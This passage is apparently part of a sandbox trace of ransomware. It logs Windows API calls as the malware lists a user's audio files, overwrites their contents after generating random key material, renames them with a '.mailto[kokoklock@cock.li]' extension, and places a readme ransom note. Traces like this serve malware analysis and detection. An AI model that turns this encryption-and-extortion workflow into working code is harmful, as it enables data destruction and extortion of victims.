_Source="C:\\Users\\FD1HVy\\Music\\RKFI\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0072.093] wcscat (in: _Dest=0x3427000, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" [0072.093] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\d0e731-readme.txt")) returned 0x20 [0072.094] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427000) returned 1 [0072.094] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e1f0) returned 1 [0072.094] RtlExitUserThread (Status=0x1) Thread: id = 499 os_tid = 0x1390 [0072.096] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rkmf1ygovc9d w.m4a")) returned 0x20 [0072.096] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a", dwFileAttributes=0x20) returned 1 [0072.096] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rkmf1ygovc9d w.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7bc [0072.096] GetFileSizeEx (in: hFile=0x7bc, lpFileSize=0x1473fa24 | out: lpFileSize=0x1473fa24*=68148) returned 1 [0072.096] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x10a30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.096] ReadFile (in: hFile=0x7bc, lpBuffer=0x1473f9f8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1473f9f4, lpOverlapped=0x0 | out: lpBuffer=0x1473f9f8*, lpNumberOfBytesRead=0x1473f9f4*=0x4, lpOverlapped=0x0) returned 1 [0072.096] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.096] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e898 [0072.097] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eaa0 [0072.097] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea00 [0072.097] NtQuerySystemTime (in: CurrentTime=0x1473f9d0 | out: CurrentTime=0x1473f9d0*=132121176299941869) returned 0x0 [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0x5f6d0411 [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0xba5b41e9 [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0x7bbb37a1 [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0x6adb0cb8 [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0x8d36e920 [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0xd85a95ea [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0xe902b305 [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0x8641973f [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0xaf4f3822 [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0x68ddbace [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0x288724e2 [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0xe23b4a30 [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0x18c7f2f1 [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0x387de2f7 [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0x9513e0ae [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0x796f0c9b [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0xbf314a75 [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0x5cdc3a67 [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0x1d439826 [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0x12aacb71 [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0xb4d8b3c7 [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0x17919dd0 [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0x1d0375e5 [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0xb591c72d [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0x6e04fb3a [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0xa76751d0 [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0xc3544f4 [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0xd8a82ee2 [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0x6ab5822a [0072.097] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0xf97664bb [0072.098] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0xba07223f [0072.098] RtlRandom (in: Seed=0x1473f9dc | out: Seed=0x1473f9dc) returned 0xf3a1b18c [0072.108] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.108] ReadFile (in: hFile=0x7bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1473f9a8, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1473f9a8*=0x4096, lpOverlapped=0x0) returned 1 [0072.108] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.109] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce90 [0072.109] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0072.109] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e8c0 [0072.109] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8c0) returned 1 [0072.109] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0072.109] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0072.109] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e820 [0072.110] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e820) returned 1 [0072.110] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0072.110] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce90) returned 1 [0072.110] WriteFile (in: hFile=0x7bc, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1473f9a8, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x1473f9a8*=0x4096, lpOverlapped=0x0) returned 1 [0072.110] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0072.110] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x10a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.110] WriteFile (in: hFile=0x7bc, lpBuffer=0x341ea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1473f9e0, lpOverlapped=0x0 | out: lpBuffer=0x341ea28*, lpNumberOfBytesWritten=0x1473f9e0*=0x20, lpOverlapped=0x0) returned 1 [0072.110] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0072.110] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0072.110] WriteFile (in: hFile=0x7bc, lpBuffer=0x341e848*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1473f9f4, lpOverlapped=0x0 | out: lpBuffer=0x341e848*, lpNumberOfBytesWritten=0x1473f9f4*=0x8, lpOverlapped=0x0) returned 1 [0072.110] WriteFile (in: hFile=0x7bc, lpBuffer=0x1473fa0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1473f9f4, lpOverlapped=0x0 | out: lpBuffer=0x1473fa0c*, lpNumberOfBytesWritten=0x1473f9f4*=0x4, lpOverlapped=0x0) returned 1 [0072.110] WriteFile (in: hFile=0x7bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1473f9f4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1473f9f4*=0x4, lpOverlapped=0x0) returned 1 [0072.110] WriteFile (in: hFile=0x7bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1473f9f4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1473f9f4*=0x6c, lpOverlapped=0x0) returned 1 [0072.110] WriteFile (in: hFile=0x7bc, lpBuffer=0x341eaa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1473f9f4, lpOverlapped=0x0 | out: lpBuffer=0x341eaa0*, lpNumberOfBytesWritten=0x1473f9f4*=0x20, lpOverlapped=0x0) returned 1 [0072.111] WriteFile (in: hFile=0x7bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1473f9f4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1473f9f4*=0x4, lpOverlapped=0x0) returned 1 [0072.111] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eaa0) returned 1 [0072.111] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8e8) returned 1 [0072.111] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e848) returned 1 [0072.111] CloseHandle (hObject=0x7bc) returned 1 [0072.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9e) returned 0x33e6330 [0072.112] wcscpy (in: _Dest=0x33e6330, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a" [0072.112] wcscat (in: _Dest=0x33e6330, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a.mailto[kokoklock@cock.li].d0e731" [0072.112] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rkmf1ygovc9d w.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\rkmf1ygovc9d w.m4a.mailto[kokoklock@cock.li].d0e731")) returned 1 [0072.112] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0072.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6330) returned 1 [0072.112] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\rkmf1YGOvc9D w.m4a", dwFileAttributes=0x20) returned 0 [0072.112] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426c58 [0072.112] wcscpy (in: _Dest=0x3426c58, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\" [0072.113] wcscat (in: _Dest=0x3426c58, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" [0072.113] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\d0e731-readme.txt")) returned 0x20 [0072.113] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426c58) returned 1 [0072.113] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427680) returned 1 [0072.113] RtlExitUserThread (Status=0x1) Thread: id = 500 os_tid = 0x1394 [0072.114] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347ff40 [0072.114] wcscpy (in: _Dest=0x347ff40, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf" [0072.114] wcscat (in: _Dest=0x347ff40, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\" [0072.114] wcscat (in: _Dest=0x347ff40, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\*") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\*" [0072.114] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f0430 [0072.114] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\*", lpFindFileData=0x33f0430 | out: lpFindFileData=0x33f0430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4f61dc0, ftCreationTime.dwHighDateTime=0x1d4ccca, ftLastAccessTime.dwLowDateTime=0xf73b96b0, ftLastAccessTime.dwHighDateTime=0x1d4d37c, ftLastWriteTime.dwLowDateTime=0xf73b96b0, ftLastWriteTime.dwHighDateTime=0x1d4d37c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433968 [0072.114] wcscmp (_String1=".", _String2=".") returned 0 [0072.114] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x33f0430 | out: lpFindFileData=0x33f0430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4f61dc0, ftCreationTime.dwHighDateTime=0x1d4ccca, ftLastAccessTime.dwLowDateTime=0xf73b96b0, ftLastAccessTime.dwHighDateTime=0x1d4d37c, ftLastWriteTime.dwLowDateTime=0xf73b96b0, ftLastWriteTime.dwHighDateTime=0x1d4d37c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.114] wcscmp (_String1="..", _String2=".") returned 1 [0072.114] wcscmp (_String1="..", _String2="..") returned 0 [0072.115] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x33f0430 | out: lpFindFileData=0x33f0430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a14b40, ftCreationTime.dwHighDateTime=0x1d4c9ab, ftLastAccessTime.dwLowDateTime=0x19076ca0, ftLastAccessTime.dwHighDateTime=0x1d4d013, ftLastWriteTime.dwLowDateTime=0x19076ca0, ftLastWriteTime.dwHighDateTime=0x1d4d013, nFileSizeHigh=0x0, nFileSizeLow=0x13f2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="2975uXH.wav", cAlternateFileName="")) returned 1 [0072.115] wcscmp (_String1="2975uXH.wav", _String2=".") returned 1 [0072.115] wcscmp (_String1="2975uXH.wav", _String2="..") returned 1 [0072.115] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479f88 [0072.115] wcscpy (in: _Dest=0x3479f88, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf" [0072.115] wcscat (in: _Dest=0x3479f88, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\" [0072.115] wcscat (in: _Dest=0x3479f88, _Source="2975uXH.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\2975uXH.wav" [0072.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3479f88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8 [0072.842] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x33f0430 | out: lpFindFileData=0x33f0430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75eaff70, ftCreationTime.dwHighDateTime=0x1d4cf52, ftLastAccessTime.dwLowDateTime=0xedecffa0, ftLastAccessTime.dwHighDateTime=0x1d4c809, ftLastWriteTime.dwLowDateTime=0xedecffa0, ftLastWriteTime.dwHighDateTime=0x1d4c809, nFileSizeHigh=0x0, nFileSizeLow=0xd4e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="fkDt3t.wav", cAlternateFileName="")) returned 1 [0072.842] wcscmp (_String1="fkDt3t.wav", _String2=".") returned 1 [0072.842] wcscmp (_String1="fkDt3t.wav", _String2="..") returned 1 [0072.842] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347da80 [0072.842] wcscpy (in: _Dest=0x347da80, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf" [0072.842] wcscat (in: _Dest=0x347da80, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\" [0072.842] wcscat (in: _Dest=0x347da80, _Source="fkDt3t.wav" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\fkDt3t.wav" [0072.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347da80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368 [0072.843] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x33f0430 | out: lpFindFileData=0x33f0430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f6bf0, ftCreationTime.dwHighDateTime=0x1d4d479, ftLastAccessTime.dwLowDateTime=0xd5cdcf90, ftLastAccessTime.dwHighDateTime=0x1d4d262, ftLastWriteTime.dwLowDateTime=0xd5cdcf90, ftLastWriteTime.dwHighDateTime=0x1d4d262, nFileSizeHigh=0x0, nFileSizeLow=0xdc23, dwReserved0=0x0, dwReserved1=0x0, cFileName="TntGoh5nEt4Z7N.m4a", cAlternateFileName="TNTGOH~1.M4A")) returned 1 [0072.843] wcscmp (_String1="TntGoh5nEt4Z7N.m4a", _String2=".") returned 1 [0072.843] wcscmp (_String1="TntGoh5nEt4Z7N.m4a", _String2="..") returned 1 [0072.843] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33ccaf0 [0072.843] wcscpy (in: _Dest=0x33ccaf0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf" [0072.843] wcscat (in: _Dest=0x33ccaf0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\" [0072.843] wcscat (in: _Dest=0x33ccaf0, _Source="TntGoh5nEt4Z7N.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\Rvjx7IJH7o9Lf\\TntGoh5nEt4Z7N.m4a" [0072.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ccaf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518 [0072.844] FindNextFileW (in: hFindFile=0x3433968, lpFindFileData=0x33f0430 | out: lpFindFileData=0x33f0430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f6bf0, ftCreationTime.dwHighDateTime=0x1d4d479, ftLastAccessTime.dwLowDateTime=0xd5cdcf90, ftLastAccessTime.dwHighDateTime=0x1d4d262, ftLastWriteTime.dwLowDateTime=0xd5cdcf90, ftLastWriteTime.dwHighDateTime=0x1d4d262, nFileSizeHigh=0x0, nFileSizeLow=0xdc23, dwReserved0=0x0, dwReserved1=0x0, cFileName="TntGoh5nEt4Z7N.m4a", cAlternateFileName="TNTGOH~1.M4A")) returned 0 [0072.844] FindClose (in: hFindFile=0x3433968 | out: hFindFile=0x3433968) returned 1 [0072.844] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0430) returned 1 [0072.844] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ff40) returned 1 [0072.844] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480360) returned 1 [0072.844] RtlExitUserThread (Status=0x0) Thread: id = 501 os_tid = 0x1398 [0072.115] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\zkjqfivubc91ouqlhwt5.wav")) returned 0x20 [0072.116] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav", dwFileAttributes=0x20) returned 1 [0072.116] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\zkjqfivUBc91OuQLHWt5.wav" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\zkjqfivubc91ouqlhwt5.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0072.116] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x1483fdc4 | out: lpFileSize=0x1483fdc4*=101342) returned 1 [0072.116] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x18bda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.116] ReadFile (in: hFile=0x3c8, lpBuffer=0x1483fd98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1483fd94, lpOverlapped=0x0 | out: lpBuffer=0x1483fd98*, lpNumberOfBytesRead=0x1483fd94*=0x4, lpOverlapped=0x0) returned 1 [0072.116] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.116] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e6b8 [0072.116] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e780 [0072.116] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e6e0 [0072.116] NtQuerySystemTime (in: CurrentTime=0x1483fd70 | out: CurrentTime=0x1483fd70*=132121176300098404) returned 0x0 [0072.116] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0x3c9b12f1 [0072.116] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0xf99cad60 [0072.116] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0xa5c28c7f [0072.116] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0x4522db5b [0072.116] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0x622fe146 [0072.116] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0xba2a7689 [0072.116] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0x15f08589 [0072.116] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0x982f29fe [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0x50817a05 [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0x4405f8f2 [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0xf5f3c022 [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0x244c0dd0 [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0x5cd30516 [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0xbc248668 [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0x1c2d099b [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0xc7a844b4 [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0xbca750a4 [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0xa44c1246 [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0x53a6d98d [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0xfb984fad [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0xe4f7cb85 [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0xaaa159b0 [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0xe1666551 [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0x4631e4f1 [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0xb51dd509 [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0xd37584b0 [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0x11cc2525 [0072.117] RtlRandom (in: Seed=0x1483fd7c | out: Seed=0x1483fd7c) returned 0x5f1dd834 [0072.117] 